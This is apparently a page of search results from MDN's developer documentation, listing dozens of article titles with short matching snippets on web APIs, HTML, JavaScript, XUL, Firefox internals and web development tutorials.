xpcom proxies were a technology which allowed code to make asynchronous or synchronous xpcom calls to a different thread on arbitrary xpcom interfaces.
... this technology has been removed in firefox 12 because it was very complex and often lead to strange deadlock conditions.
... it is no longer needed because javascript code can no longer run on arbitrary threads, and compiled code can use compiled runnable to achieve the same effect in a much simpler manner.
...And 24 more matches
FileHandle API - Web APIs
because the files manipulated through that api can be physically stored on the device, the editing part uses a turn-based locking mechanism in order to avoid race issues.
... api overview this api is based on the following interfaces: idbdatabase.mozcreatefilehandle (was called idbdatabase.mozcreatefilehandle.) idbmutablefile (was previously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces.
... basic operations create a filehandle because the intent is to allow the storage of files through indexeddb, creating a filehandle instance requires an indexeddb database.
...And 24 more matches
Navigator - Web APIs
WebAPINavigator
it allows scripts to query it and to register themselves to carry on some activities.
... a navigator object can be retrieved using the read-only window.navigator property.
... navigator.battery read only returns a batterymanager object you can use to get information about the battery charging status.
...And 24 more matches
SVGSVGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mono...
... svgsvgelement.screenpixeltomillimeterx user interface (ui) events in dom level 2 indicate the screen positions at which the given ui event occurred.
... when the browser actually knows the physical size of a "screen unit", this float attribute will express that information; otherwise, user agents will provide a suitable default value (such as .28mm).
...And 24 more matches
WebGL constants - Web APIs
standard webgl constants are installed on the webglrenderingcontext and webgl2renderingcontext objects, so that you use them as gl.constant_name: var canvas = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl'); gl.getparameter(gl.line_width); some constants are also provided by webgl extensions.
... blending equations constants passed to webglrenderingcontext.blendequation() or webglrenderingcontext.blendequationseparate() to control how the blending is calculated (for both, rbg and alpha, or separately).
... blend_dst_alpha 0x80ca passed to getparameter to get the current destination alpha blend function.
...And 24 more matches
Using textures in WebGL - Web APIs
in our case, we'll be using a single texture, mapped onto all six sides of our rotating cube, but the same technique can be used for any number of textures.
... note: it's important to note that the loading of textures follows cross-domain rules; that is, you can only load textures from sites for which your content has cors approval.
...// function loadtexture(gl, url) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // because images have to be download over the internet // they might take a moment until they are ready.
...And 24 more matches
ARIA: grid role - Accessibility
the position of each cell is significant and can be focused using keyboard input.
... <table role="grid" aria-labelledby="id-select-your-seat"> <caption id="id-select-your-seat">select your seat</caption> <tbody role="presentation"> <tr role="presentation"> <td></td> <th>row a</th> <th>row b</th> </tr> <tr> <th scope="row">aisle 1</th> <td tabindex="0"> <button id="1a" tabindex="-1">1a</button> </td> <td tabindex="-1"> <button id="1b" tabindex="-1">1b</button> </td> <!-- more columns --> </tr> <tr> <th scope="row">aisle 2</th> <td tabindex="-1"> <button id="2a" tabindex="-1">2a</button> </td> <td tabindex="-1"> <button id="2b" tabindex="-1">2b</button> </td> <!-- more columns --> </tr> </tbody> </table> description a grid...
... widget contains one or more rows with one or more cells of thematically related interactive content.
...And 24 more matches
Live streaming web audio and video - Developer guides
this is a fairly complex and nascent subject with a lot of variables, so in this article, we'll introduce you to the subject and let you know how you can get started.
... key differences between streamed and static media in this case, we are using static media to describe media that is represented by a file, whether it be an mp3 or webm file.
... this file sits on a server and can be delivered — like most other files — to the browser.
...And 24 more matches
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
the html parser is one of the most complicated and sensitive pieces of a browser.
... the new parser introduces these major improvements: you can now use svg and mathml inline in html5 pages, without xml namespace syntax.
... calls to innerhtml are a lot faster.
...And 24 more matches
Link prefetching FAQ - HTTP
a web page provides a set of prefetching hints to the browser, and after the browser is finished loading the page, it begins silently prefetching specified documents and stores them in its cache.
... when the user visits one of the prefetched documents, it can be served up quickly out of the browser's cache.
... starting in gecko 1.9.1 (firefox 3.5), https content can be prefetched.
...And 24 more matches
Numbers and dates - JavaScript
« previousnext » this chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in javascript.
... this includes using numbers written in various bases including decimal, binary, and hexadecimal, as well as the use of the global math object to perform a wide variety of mathematical operations on numbers.
...integer values up to ±253 − 1 can be represented exactly.
...And 24 more matches
JSON.stringify() - JavaScript
replacer optional a function that alters the behavior of the stringification process, or an array of string and number that serve as an allowlist for selecting/filtering the properties of the value object to be included in the json string.
... if this is a number, it indicates the number of space characters to use as white space; this number is capped at 10 (if it is greater, the value is just 10).
... values less than 1 indicate that no space should be used.
...And 24 more matches
Content Processes - Archive of obsolete content
neither content or add-on proceses were ever actually implemented, but by the time they were cancelled, the sdk was already designed with them in mind.
... to communicate between add-on and content processes, the sdk uses something called content scripts.
...content scripts communicate with add-on code using something called event emitters.
...And 23 more matches
Creating a status bar extension - Archive of obsolete content
next » this is the first in a series of articles that will demonstrate how to create increasingly intricate extensions for the firefox browser.
...you can find a more up-to-date tutorial in the xul school tutorial the essentials of an extension.
... many of the concepts introduced here apply to any xul-based application; however, to keep from getting completely overwhelmed, we're going to focus specifically on firefox.
...And 23 more matches
XML in Mozilla - Archive of obsolete content
several world wide web consortium (w3c) recommendations and drafts from the xml family of specifications are supported, as well as other related technologies.
...mozilla can load external entities whose system identifier uses the chrome protocol.
... this feature is used mainly to localize mozilla to different languages (the ui strings are stored in external dtd files).
...And 23 more matches
Simple Query Syntax - Archive of obsolete content
it may also be used when iterating over only one predicate.
...since the photos list iterates over the children of a container, we can use the simple syntax.
...you can see that this code is much simpler than the full syntax.
...And 23 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
xhtml™ 1.0 the extensible hypertext markup language (second edition) defines xhtml to be a reformulation of html 4 as an xml 1.0 application.
...this misunderstanding is compounded by the fact that, prior to version 9, microsoft® internet explorer only supports xhtml if it is served with mime media type text/html rather than the recommended application/xhtml+xml.
...however when an xhtml page is served with mime type text/xml or application/xhtml+xml, then it should be treated as an xml document which must conform to the strict rules for authoring and displaying xml.
...And 23 more matches
Building up a basic demo with A-Frame - Game development
mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl.
... high level overview the current version of a-frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser.
... a-frame is built on top of webgl, and provides pre built components to use in applications — models, video players, skyboxes, geometries, controls, animations, cursors, etc.
...And 23 more matches
Efficient animation for web games - Game development
there are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices.
...though javascript animations can be easier to express at times, unless you have a great need to synchronise ui animation state with game animation state, you’re unlikely to be able to do a better job than the browser.
...because of this, the browser can make some assumptions that it can’t easily make when you’re manually tweaking values in javascript.
...And 23 more matches
Web fonts - Learn web development
font families recap as we looked at in fundamental text and font styling, the fonts applied to your html can be controlled using the font-family property.
... this takes one or more font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: helvetica, "trebuchet ms", verdana, sans-serif; } this system works well, but traditionally web developers' font choices were limited.
... there are only a handful of fonts that you can guarantee to be available across all common systems — the so-called web-safe fonts.
...And 23 more matches
What is a URL? - Learn web development
this article discusses uniform resource locators (urls), explaining what they are and how they're structured.
... url stands for uniform resource locator.
...such resources can be an html page, a css document, an image, etc.
...And 23 more matches
HTML basics - Learn web development
the enclosing tags can make a word or image hyperlink to somewhere else, can italicize words, can make the font bigger or smaller, and so on.
... for example, take the following line of content: my cat is very grumpy if we wanted the line to stand by itself, we could specify that it is a paragraph by enclosing it in paragraph tags: <p>my cat is very grumpy</p> anatomy of an html element let's explore this paragraph element a bit further.
... the main parts of our element are as follows: the opening tag: this consists of the name of the element (in this case, p), wrapped in opening and closing angle brackets.
...And 23 more matches
Advanced text formatting - Learn web development
description lists in html text fundamentals, we walked through how to mark up basic lists in html, but we didn't mention the third type of list you'll occasionally come across — description lists.
... if you make a mistake, you can always reset it using the reset button.
...eggs the glue that binds the cake together.
...And 23 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
types of error generally speaking, when you do something wrong in code, there are two main types of error that you'll come across: syntax errors: these are spelling errors in your code that actually cause the program not to run at all, or stop working part way through — you will usually be provided with some error messages too.
...but the above classifications will do at this early stage in your career.
...go to github and make yourself a local copy of number-game-errors.html (see it running live here).
...And 23 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
to start with, we can at least implement an edittask() function in app.js.
... it’ll be similar to deletetask() because it'll take an id to find its target object, but it'll also take a newname property containing the name to update the task to.
... we'll use array.prototype.map() instead of array.prototype.filter() because we want to return a new array with some changes, instead of deleting something from the array.
...And 23 more matches
React resources - Learn web development
previous overview: client-side javascript frameworks next our final article provides you with a list of react resources that you can use to go further in your learning.
... component-level styles although this tutorial doesn't use this approach, many react applications define their styles on a per-component basis, rather than in a single, monolithic stylesheet.
...for this app, we could have for example written a dedicated form.css file to house the styles of those respective components, then imported the styles into their respective modules like this: import form from './form'; import './form.css' this approach makes it easy to identify and manage the css that belongs to a specific component.
...And 23 more matches
Downloads.jsm
the downloads.jsm javascript code module provides a single entry point to interact with the downloading capabilities of the platform, including starting new downloads, controlling ongoing downloads, and retrieving download-related configuration.
...when you catch an exception during a download, you can use this to verify if ex instanceof downloads.error, before reading the exception properties with the error details.
... example (using task.jsm): try { yield downloads.fetch(sourceuri, targetfile); } catch (ex if ex instanceof downloads.error && ex.becausetargetfailed) { console.log("unable to write to the target file, ignoring the error."); } methods createdownload() creates a new download object.
...And 23 more matches
Using JavaScript code modules
javascript code modules are a concept introduced in gecko 1.9 and can be used for sharing code between different privileged scopes.
... modules can also be used to create global javascript singletons that previously required using javascript xpcom objects.
... a javascript code module is simply some javascript code located in a registered location.
...And 23 more matches
Necko Architecture
necko has been designed to accommodate pluggable protocols so developers can contribute their own protocol libraries that can be dynamically loaded and used by applications utilizing necko.
... architecture after a few iterations of our original design, the current necko architecture looks something like this: urls necko's primary responsibility is moving data from one location, to another location.
... these locations are represented in the form we have all grown to know and love as uris.
...And 23 more matches
Invariants
there may be other reasons that cover more cases, but nobody can remember one.) all jsobjects and heap-allocated jsstrings must be 8-byte-aligned.
... (we can probably loop forever if that happens.
... js_setparent can violate this, if the application is really that dumb, but generally every object is newer than its __parent__.) the tracejit must not trace into a function whose scope chain ends in a different global object.
...And 23 more matches
Setting up an update server
the goal of this document is to provide instructions for installing a locally-served firefox update.
... downloading a mar prebuilt nightly mars can be found here on archive.mozilla.org.
...for example, if you want the nightly mar from 2019-09-17 for a 64 bit windows machine, you probably want the mar located at https://archive.mozilla.org/pub/firefox/nightly/2019/09/2019-09-17-09-36-29-mozilla-central/firefox-71.0a1.en-us.win64.complete.mar.
...And 23 more matches
Mork
MozillaTechMork
mork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
...in a few cases, constructs that the parser supported but were never used in mozilla's code are left unspecified.
...at its core, it can be viewed as a set of rows, collections of name-value pairs, which can be organized into various tables.
...And 23 more matches
Querying Places
the result may contain duplicate entries for urls, each with a different date.
...oolean excludereadonlyfolders attribute boolean expandqueries attribute boolean includehidden attribute boolean showsessions attribute unsigned long maxresults const unsigned short query_type_history = 0 const unsigned short query_type_bookmarks = 1 const unsigned short query_type_unified = 2 (not yet implemented -- see bug 378798) attribute unsigned short querytype complex queries you can pass one or more nsinavhistoryquery objects to executequeries().
...this allows for a simpler implementation and interface than a full logical operation with nested clauses while still being expressive.
...And 23 more matches
nsIAppShellService
owheight); obsolete since gecko 1.8 nsixulwindow createtoplevelwindow(in nsixulwindow aparent, in nsiuri aurl, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell); nsiwebnav createwindowlessbrowser (in bool aischrome) void destroyhiddenwindow(); void doprofilestartup(in nsicmdlineservice acmdlineservice, in boolean caninteract); obsolete since gecko 1.8 void ensure1window(in nsicmdlineservice acmdlineservice); obsolete since gecko 1.8 void enterlastwindowclosingsurvivalarea(); obsolete since gecko 1.8 void exitlastwindowclosingsurvivalarea(); obsolete since gecko 1.8 void gethiddenwindowandjscontext(out nsidomwindow ahiddendomwindow, out jscontext ajscontext); native code on...
... attributes attribute type description applicationprovidedhiddenwindow boolean return true if the application hidden window was provided by the application.
... hiddendomwindow nsidomwindow return the (singleton) application hidden window, automatically created and maintained by this appshellservice.
...And 23 more matches
nsIHTMLEditor
inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method overview void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsicontentfilter infilter); void align(in astring aalign); boolean breakisvisible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astring atagname); void decreasefontsize(); void dodrag(in nsidomevent aeve...
...ring getbackgroundcolorstate(out boolean amixed); nsidomelement getelementorparentbytagname(in astring atagname, in nsidomnode anode); astring getfontcolorstate(out boolean amixed); astring getfontfacestate(out boolean amixed); astring getheadcontentsashtml(); astring gethighlightcolorstate(out boolean amixed); void getindentstate(out boolean acanindent, out boolean acanoutdent); void getinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); astring getinlinepropertywithattrvalue(in nsiatom aproperty, in astring aattribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); nsisupportsarray getlinkedobjects(...
...ing aattribute); void removeinsertionlistener(in nsicontentfilter infilter); void removelist(in astring alisttype); void replaceheadcontentswithhtml(in astring asourcetoinsert); void selectelement(in nsidomelement aelement); void setbackgroundcolor(in astring acolor); void setbodyattribute(in astring aattr, in astring avalue); void setcaretafterelement(in nsidomelement aelement); void setcssinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setdocumenttitle(in astring atitle); void setinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setparagraphformat(in astring aparagraphformat); void updatebaseurl(); attribu...
...And 23 more matches
nsINavHistoryResultViewObserver
inherits from: nsisupports last changed in gecko 1.9.0 method overview boolean candrop(in long index, in long orientation); void ondrop(in long row, in long orientation); void ontoggleopenstate(in long index); void oncycleheader(in nsitreecolumn column); void oncyclecell(in long row, in nsitreecolumn column); void onselectionchanged(); void onperformaction(in wstring action); void onperformactiononrow(in wstring action, in long row); void onperformactiononcell(in wstring a...
...ction, in long row, in nsitreecolumn column); constants constant value description drop_before -1 the drag operation wishes to insert the dragged item before the indicated row.
... drop_on 0 the drag operation wishes to drop the dragged item onto the indicated row.
...And 23 more matches
nsISecurityCheckedComponent
caps/idl/nsisecuritycheckedcomponent.idlscriptable provides methods that let an xpcom component define custom rules for accessing it from potentially unprivileged code.
... inherits from: nsisupports last changed in gecko 1.7 capability strings in gecko, a "capability" is a string identifying a set of actions that code is allowed to perform.
... two examples: code that has the "universalxpconnect" capability is allowed to access all of xpcom.
...And 23 more matches
XUL Overlays
MozillaTechXULOverlays
though overlays often define ui elements that have been added as a result of an update or enhancement of some kind, they can be used in many different ways.
...though there is no formal restriction on what kind of xul content is located in "base" xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, such as additional components.
... when plug-ins, browser extensions, or other applications provide new ui elements to the browser, these elements should be defined in overlay files.
...And 23 more matches
Aggregate view - Firefox Developer Tools
after firefox 48, the default view is the tree map view, and you can switch to the aggregate view using the dropdown labeled "view:": the aggregate view looks something like this: it presents a breakdown of the heap's contents, as a table.
... there are three main ways to group the data: type call stack inverted call stack you can switch between them using the dropdown menu labeled "group by:" located at the top of the panel: there's also a box labeled "filter" at the top-right of the pane.
... you can use this to filter the contents of the snapshot that are displayed, so you can quickly see, for example, how many objects of a specific class were allocated.
...And 23 more matches
Examine and edit HTML - Firefox Developer Tools
you can examine and edit the page's html in the html pane.
...there are three types of searches that are performed automatically depending on what you enter, a full text search, a css selector search, and an xpath search.
... css selector search you can search elements by entering a css selector.
...And 23 more matches
The JavaScript input interpreter - Firefox Developer Tools
you can interpret javascript expressions in real time using the interpreter provided by the web console.
... single-line mode for single-line entry, you can type javascript expressions in the field at the bottom of the console log, at the >> prompt.
... for example, if you type: function foo() { and then enter, the console does not immediately execute the input, but behaves as if you had pressed shift+enter , so you can finish entering the function definition.
...And 23 more matches
Basic animations - Web APIs
« previousnext » since we're using javascript to control <canvas> elements, it's also very easy to make (interactive) animations.
... basic animation steps these are the steps you need to take to draw a frame: clear the canvas unless the shapes you'll be drawing fill the complete canvas (for instance a backdrop image), you need to clear any shapes that have been drawn previously.
... save the canvas state if you're changing any setting (such as styles, transformations, etc.) which affect the canvas state and you want to make sure the original state is used each time a frame is drawn, you need to save that original state.
...And 23 more matches
Using Fetch - Web APIs
it also provides a global fetch() method that provides an easy, logical way to fetch resources asynchronously across the network.
...fetch provides a better alternative that can be easily used by other technologies such as service workers.
... fetch also provides a single logical place to define other http-related concepts such as cors and extensions to http.
...And 23 more matches
HTMLBodyElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121...
... htmlbodyelement.background is a domstring that represents the description of the location of the background image resource.
... windoweventhandlers.onafterprint is an eventhandler representing the code to be called when the afterprint event is raised.
...And 23 more matches
HTMLFormElement - Web APIs
it allows access to—and, in some cases, modification of—aspects of the form, as well as access to its component elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... htmlformelement.method a domstring reflecting the value of the form's method html attribute, indicating the http method used to submit the form.
...And 23 more matches
HTML Drag and Drop API - Web APIs
html drag and drop interfaces enable applications to use drag-and-drop features in browsers.
... for web sites, extensions, and xul applications, you can customize which elements can become draggable, the type of feedback the draggable elements produce, and the droppable elements.
... this overview of html drag and drop includes a description of the interfaces, basic steps to add drag-and-drop support to an application, and an interoperability summary of the interfaces.
...And 23 more matches
Multi-touch interaction - Web APIs
the pointer is a hardware-agnostic device that can target a specific set of screen coordinates.
... having a single event model for pointers can simplify creating web sites, applications and provide a good user experience regardless of the user's hardware.
...this additional feature can be used to provide richer user interaction models but at the cost of additional complexity in the multi-touch interaction handling.
...And 23 more matches
RTCPeerConnection.createOffer() - Web APIs
the sdp offer includes information about any mediastreamtracks already attached to the webrtc session, codec, and options supported by the browser, and any candidates already gathered by the ice agent, for the purpose of being sent over the signaling channel to a potential peer to request a connection or to update the configuration of an existing connection.
... syntax apromise = mypeerconnection.createoffer([options]); mypeerconnection.createoffer(successcallback, failurecallback, [options]) parameters options optional an rtcofferoptions dictionary providing options requested for the offer.
...this will cause the returned offer to have different credentials than those already in place.
...And 23 more matches
Reporting API - Web APIs
the reporting api provides a generic reporting mechanism for web applications to use to make reports available based on various platform features (for example content security policy, feature-policy, or feature deprecation reports) in a consistent manner.
...such information can include: content security policy violations.
... deprecated feature usage (when you are using something that will stop working soon in browsers).
...And 23 more matches
TouchEvent - Web APIs
this surface can be a touch screen or trackpad, for example.
... the event can describe one or more points of contact with the screen and includes support for detecting movement, addition and removal of contact points, and so forth.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">e...
...And 23 more matches
<body>: The Document Body element - HTML: Hypertext Markup Language
WebHTMLElementbody
there can be only one <body> element in a document.
... content categories sectioning root.
... you can access the <body> element through the document.body property.
...And 23 more matches
itemprop - HTML: Hypertext Markup Language
every html element can have an itemprop attribute specified, and an itemprop consists of a name-value pair.
... each name-value pair is called a property, and a group of one or more properties forms an item.
... property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>.
...And 23 more matches
Arrow function expressions - JavaScript
an arrow function expression is a syntactically compact alternative to a regular function expression, although without its own bindings to the this, arguments, super, or new.target keywords.
... arrow function expressions are ill suited as methods, and they cannot be used as constructors.
... shorter functions var elements = [ 'hydrogen', 'helium', 'lithium', 'beryllium' ]; // this statement returns the array: [8, 6, 7, 9] elements.map(function(element) { return element.length; }); // the regular function above can be written as the arrow function below elements.map((element) => { return element.length; }); // [8, 6, 7, 9] // when there is only one parameter, we can remove the surrounding parentheses elements.map(element => { return element.length; }); // [8, 6, 7, 9] // when the only statement in an arrow function is `return`, we can remove `return` and remove // the surrounding curly brackets eleme...
...And 23 more matches
Array.prototype.reduce() - JavaScript
syntax arr.reduce(callback( accumulator, currentvalue, [, index[, array]] )[, initialvalue]) parameters callback a function to execute on each element in the array (except for the first, if no initialvalue is supplied).
... it takes four arguments: accumulator the accumulator accumulates callback's return values.
... it is the accumulated value previously returned in the last invocation of the callback—or initialvalue, if it was supplied (see below).
...And 23 more matches
Date.parse() - JavaScript
the date.parse() method parses a string representation of a date, and returns the number of milliseconds since january 1, 1970, 00:00:00 utc or nan if the string is unrecognized or, in some cases, contains illegal date values (e.g.
...there are still many differences in how different hosts parse date strings, therefore date strings should be manually parsed (a library can help if many different formats are to be accommodated).
... syntax direct call: date.parse(datestring) implicit call: new date(datestring) parameters datestring a string representing a simplification of the iso 8601 calendar date extended format.
...And 23 more matches
OpenSearch description format
the opensearch description format lets a website describe a search engine for itself, so that a browser or other client application can use that search engine.
... opensearch description files can be advertised as described in autodiscovery of search plugins, and can be installed programmatically as described in adding search engines from web pages.
... and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/favicon.ico]</image> <url type="text/html" template="[searchurl]"> <param name="[key name]" value="{searchterms}"/> <!-- other params if you need them… --> <param name="[other key name]" value="[parameter value]"/> </url> <url type="application/x-suggestions+json" template="[suggestionurl]"/> <moz:searchform>[https://example.com/search]</moz:searchform> </opensearchdescription> shortname a short name for the search engine.
...And 23 more matches
Web Components
web components is a suite of different technologies allowing you to create reusable custom elements — with their functionality encapsulated away from the rest of your code — and utilize them in your web apps.
...this has traditionally not been so easy for custom markup structures — think of the complex html (and associated style and script) you've sometimes had to write to render custom ui controls, and how using them multiple times can turn your page into a mess if you are not careful.
... web components aims to solve such problems — it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused wherever you like without fear of code collisions.
...And 23 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
2 common xslt errors xslt your server needs to send both the source and the stylesheet with a xml mime type, text/xml or application/xml.
...using the xsltprocessor.getparameter() method, the code can figure whether to sort in ascending or descending order.
...these are the same files used in the generating html example in the xslt in netscape gecko article.
...And 23 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
here we call the event myextensionevent.
... var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event.
...these can also be named anything you like, but we've chosen attribute1 and attribute2.
...And 22 more matches
Performance best practices in extensions - Archive of obsolete content
extensions can do almost anything.
... there is a down side to this: poorly written extensions can have a severe impact on the browsing experience, including on the overall performance of firefox itself.
... this article offers some best practices and suggestions that can not only improve the performance and speed of your extension, but also of firefox itself.
...And 22 more matches
Autodial for Windows NT - Archive of obsolete content
a brief history of autodial on windows in the consumer versions of windows, (windows 95, windows 98, windows me) autodial for all applications is controlled from the control panel, in the internet options applet, under the tab connections.
... if you turn on the autodial feature, windows will automatically dial whenever any application tries to access a network address that can't be reached.
... technically, this control panel applet (internet options) is part of internet explorer.
...And 22 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
the goal is creating an empty sidebar that can be used as start for new sidebar applications.
... creating a sidebar requires some gui creation and registration in the destination application.
...an extension package usually contains a "content" provider, which contains the xul code and application logic.
...And 22 more matches
RDF Datasource How-To - Archive of obsolete content
help bring it up to date, if you can.
...more concretely, a datasource is a translator that can present information as a collection of rdf statements.
...an "address book" datasource could translate a database file into statements like "spammer128@hotmail.com's real name is 'billy dumple'" and "spammer128@hotmail.com is considered an 'important friend'." statements from one datasource can be combined with statements from another datasource using a composite datasource.
...And 22 more matches
Positioning - Archive of obsolete content
positioning popups there are several ways in which the location of a popup on screen may be controlled.
...however, the submenu will appear to the left instead for right to left locales.
... for popups attached using the popup or context attributes, the default position to appear is with the upper left corner (or upper right corner in right to left locales) at the position where the mouse was clicked.
...And 22 more matches
Additional Navigation - Archive of obsolete content
here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference.
... you might be able to guess that it will cause a match for only one of the photos, the canal photo.
...to look closer, here is the data network after only the member has been evaluated: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) when evaluating the triple, the template builder will iterate over the three potential results found so far.
...And 22 more matches
Creating a Window - Archive of obsolete content
creating a xul file an xul file can be given any name but it really should have a .xul extension.
...if you want to force the window to become visible you can add the width and height attribute to the window tag.
...in this case, we import the styles found in the global part of a skin package.
...And 22 more matches
Creating a Wizard - Archive of obsolete content
« previousnext » many applications use wizards to help the user through complex tasks.
...after the last page, the operation is carried out.
... xul provides a wizard element which can be used to create wizards.
...And 22 more matches
Install Scripts - Archive of obsolete content
the installer script must be called install.js and must be placed at the top level of the installer archive.
... the script will contain javascript code which calls a number of install functions.
...that means that you can call the methods of the window object with the qualifier before it, which means that window.open() can simply be written open().
...And 22 more matches
More Tree Features - Archive of obsolete content
hierarchical trees the tree element is also used to create hierarchical lists, like that found in a file manager or a browser's bookmarks list.
...this can sometimes be quite tricky, but fortunately, the built-in content tree view does all of the hard work for us.
...you can then add items inside that to specify the child rows of an item.
...And 22 more matches
Popup Menus - Archive of obsolete content
xul also has the capability of creating popup menus.
... popup menus are typically displayed when the user presses the right mouse button.
...they are much like the menus on the menu bar, except that they can be placed anywhere and can contain any content.
...And 22 more matches
The Box Model - Archive of obsolete content
introduction to boxes the main form of layout in xul is called the 'box model'.
...elements inside of a box will orient themselves horizontally or vertically.
... by combining a series of boxes, spacers and elements with flex and pack attributes, you can control the layout of a window.
...And 22 more matches
Vulnerabilities - Archive of obsolete content
a vulnerability is a weakness in a system that can be exploited to negatively impact confidentiality, integrity, and/or availability.
... there are many ways in which vulnerabilities can be categorized.
... this article uses three high-level vulnerability categories: software flaws, security configuration issues, and software feature misuse.
...And 22 more matches
Advanced styling effects - Learn web development
you can find the examples in this section at box-shadow.html (see the source code too).
...first, some html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following result: you'll see that we've got four items in the box-shadow property value: the first length value is the horizontal offset — the distance to the right the shadow is offset from the original box (or left, if the value is negative).
... the second length value is the vertical offset — the distance downwards that the shadow is offset from the original box (or upwards, if the value is negative).
...And 22 more matches
Styling tables - Learn web development
a typical html table let's start by looking at a typical html table.
... well, i say typical — most html table examples are about shoes, or the weather, or employees; we decided to make things more interesting by making it about famous punk bands from the uk.
... the markup looks like so: <table> <caption>a summary of the uk's most famous punk bands</caption> <thead> <tr> <th scope="col">band</th> <th scope="col">year formed</th> <th scope="col">no.
...And 22 more matches
How does the Internet work? - Learn web development
prerequisites: none, but we encourage you to read the article on setting project goals first objective: you will learn the basics of the technical infrastructure of the web and the difference between internet and the web.
... summary the internet is the backbone of the web, the technical infrastructure that makes the web possible.
... at its most basic, the internet is a large network of computers which communicate all together.
